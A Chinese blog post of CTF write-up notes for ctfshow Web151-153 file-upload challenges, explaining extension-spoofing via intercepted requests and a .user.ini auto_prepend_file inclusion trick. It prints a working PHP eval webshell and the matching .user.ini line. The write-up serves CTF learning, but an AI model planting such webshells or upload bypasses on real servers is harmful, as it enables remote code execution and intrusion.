• Ctfshow Web入门


    Web151

    前台校验,无法上传PHP文件、jpg图片,上传png图片马,抓包改后缀

    Web152

    解法同151

    Web153

    不知道过滤什么,看了WP:

    我们可以在.user.ini中设置php.ini中PHP_INI_PERDIR和PHP_INI_USER模式的 INI 设置,而且只要是在使用CGI/FastCGI模式的服务器上都可以使用.user.ini
    auto_prepend_file和auto_append_file设置我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),
    类似于在index.php中插入一句:require(./a.jpg);

    这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

    所以要求当前目录必须要有php文件getflag思路:我们上传一个.user.ini 文件设置一个文件1.jpg然后访问index.php就相当于包含了1.jpg

    其中GIF89a是告诉系统,根据图形交换格式(GIF)89a版进行格式化,生成图形

    以上大致意思是PHP有一个可以重写的配置文件,类似于apache的.htaccess绕过,但是PHP这个比较苛刻,需要开启一定功能才能使用,题目是默认开启的

    1.我们先上传.user.ini文件(当然文件名抓包之后再修改)

    2.然后再上传包含的PHP文件,访问/upload/index.php自动包含

    3.使用hackbar或者蚁剑寻找并读取flag

    我的文件如下:

    <?php @eval($_POST['pass']);?>
    GIF89a
    auto_prepend_file=pass.jpg

     上传之后蚁剑连接,在html目录下找到flag

  • 相关阅读:
    js外观模式
    微服务架构的基础框架选择:Spring Cloud还是Dubbo?
    JAVA 中BIO,NIO,AIO的理解
    Reactor和Proactor模式的讲解(关于异步,同步,阻塞与非阻塞)
    JVM(Java虚拟机)优化大全和案例实战
    php编译安装后,加扩展模块
    mysql查所有列名
    cannot get uid for user 'www'
    rabbitmq management Login Failed
    nginx 安装过程中的not found
  • 原文地址:https://www.cnblogs.com/echoDetected/p/14049099.html
Copyright © 2020-2023  润新知